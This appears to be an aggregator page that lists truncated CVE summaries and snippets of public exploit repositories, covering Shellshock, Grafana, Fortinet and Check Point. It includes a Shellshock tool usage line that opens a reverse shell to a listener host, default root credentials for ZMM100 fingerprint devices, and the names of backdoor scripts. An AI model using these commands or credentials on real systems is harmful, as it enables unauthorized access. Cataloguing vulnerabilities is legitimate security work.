CVE-2026-9548

An improper neutralization of input during web page generation 'Cross-site Scripting' vulnerability in extract domain in Synology Chat Server before 2.4.5-22148 allows remote authenticated users, via a UI interaction, to read or write restricted files and conduct limited denial-of-service attacks...

CVE-2026-80706

In the Linux kernel, the following vulnerability has been resolved: can: softing: fwparse: validate firmware record spans fwparse reads a fixed record header, a firmware-provided payload, and a trailing checksum without knowing the end of the firmware blob. A truncated record can therefore make...

CVE-2026-80700

In the Linux kernel, the following vulnerability has been resolved: drm/vmwgfx: validate external BO copy bounds for both stride paths vmwexternalbocopy trusts caller-supplied offsets, strides, and heights and operates on imported dma-buf vmaps: - The equal-stride memcpy bound was clamped after...

CVE-2026-80696

In the Linux kernel, the following vulnerability has been resolved: hwmon: ltc4282 Fix reading the minimum alarm voltage Coverity reports an out-of-bounds access when reading the minimum alarm voltage for the VGPIO channel. Add the missing return statement to fix the problem...

CVE-2026-80695

In the Linux kernel, the following vulnerability has been resolved: hwmon: sht3x Fix unaligned accesses Sashiko reports: In sht3xupdateclient, the 16-bit temperature and humidity values are extracted from a stack-allocated byte array using be16tocpup. The pointers passed to this function are...

CVE-2026-80649

In the Linux kernel, the following vulnerability has been resolved: firmware: armscmi: Fix OOB in scmipowernameget scmipowernameget does not validate the domain number passed by the external caller, which may lead to an out-of-bounds access. Fix this by returning "unknown" for invalid domains, li...

CVE-2026-80637

In the Linux kernel, the following vulnerability has been resolved: netfilter: synproxy: fix unaligned memory access in timestamp adjustment Use getunalignedbe32 and putunalignedbe32 to safely read and write the timestamp fields. This prevents performance degradation due to unaligned memory acces...

CVE-2026-80630

In the Linux kernel, the following vulnerability has been resolved: net/sched: schfqcodel: Do not call qdisctreereducebacklog during peek before restoring qlen Whenever fqcodel drops packets during peek, it calls qdisctreereducebacklog. An issue arises because it calls qdisctreereducebacklog befo...

CVE-2026-80628

In the Linux kernel, the following vulnerability has been resolved: ALSA: seq: oss: Serialize readq reset state with q-lock sndseqossreadqclear resets qlen, head, and tail without q-lock even though the normal reader and producer paths serialize the same ring state under that spinlock. A reset ca...

CVE-2019-5736-PoC

CVE-2019-5736-PoC PoC para CVE-2019-5736 Creado con ayuda de @singe, @cablethief, y @feexd Probado en Ubuntu 18.04, Debian 9 y Arch Linux. Versiones de Docker 18.09.1-ce y 18.03.1-ce. Este PoC actualmente no funciona con Ubuntu 16.04 y CentOS. Ve a ver el código del exploit de Dragon Sector las...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Apache Shellshock Remote Command Injection tool for quick reverse shell and file browsing root@kitploit: Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234...

CVE-2021-41773

CVE-2021-41773 CVE-2021-41773 POC con Docker Configuración Para personalizar el archivo httpd.conf, cambie la línea 251 en la sección de Require all denied a Require all granted. root@kitploit: AllowOverride none Require all granted Crear un Dockerfile en tu proyecto root@kitploit: FROM...

CVE-2022-40684-metasploit-scanner

CVE-2022-40684-metasploit-scanner An authentication bypass using an alternate path or channel in Fortinet product preparation POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2022-40684-metasploit-scanner cd CVE-2022-40684-metasploit-scanner mkdir -p...

Backdooring-ZMM100-FingerPrint-Devices

Hacking Embedded Devices : root@kitploit: Hardware platform ZMM100 : The fingerprint access control device Made by ZKSoftware. Default User/Password : root:solokey Protocol : Telnet 23. Scripts : pwnit.py : Automated tool for hacking devices. hell : second backdoor. leak-data.sh : third backdoor...

CVE-2024-3094-checker

CVE-2024-3094 checker xz Utils versions 5.6.0 and 5.6.1 appear to be compromised. XZ Utils is data compression software and may be present in Linux distributions. The malicious code may allow unauthorized access to affected systems. Sources: https://vulners.com/cve/CVE-2024-3094...

CVE-2024-22853

CVE-2024-22853 D-LINK Go-RT-AC750 GORTAC750A1FWv101b03 has a hardcoded password for the Alphanetworks account, which allows remote attackers to obtain root access via a telnet session. PoC...

GrafanaDirectoryScanner

PoC para CVE-2021-43798 Grafana es una plataforma de código abierto para monitoreo y observabilidad. Las versiones de Grafana desde 8.0.0-beta1 hasta 8.3.0 excepto las versiones parcheadas son vulnerables a ldirectory traversal, permitiendo el acceso a archivos locales. La URL vulnerable es:...

sccm-http-looter

SCCM HTTP Looter How it works SCCM distribution points DPs are the servers used by Microsoft SCCM to host all the files used in software installs, patches, script deployments, etc. By default, these servers allow access via SMB TCP/445 and HTTP/S TCP/80 and/or TCP/443 and require some type of...

CVE-2025-34171

CVE-2025-34171: Unauthenticated File and Debug Data Exposure in CasaOS Vulnerability Overview Field| Value ---|--- CVE ID| CVE-2025-34171 Affects| CasaOS ≤ 0.4.15 Fixed in| No Patch Available Severity| Medium CVSS 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N CWE| CWE-862:...

CVE-2024-24919---Poc

CVE-2024-24919 PoC una Prueba de Concepto de CVE-2024-24919 Lea sobre ello - https://nvd.nist.gov/vuln/detail/CVE-2024-24919 La vulnerabilidad permite a un atacante remoto no autenticado leer el contenido de un archivo arbitrario ubicado en el dispositivo afectado. Descripción Potencialmente...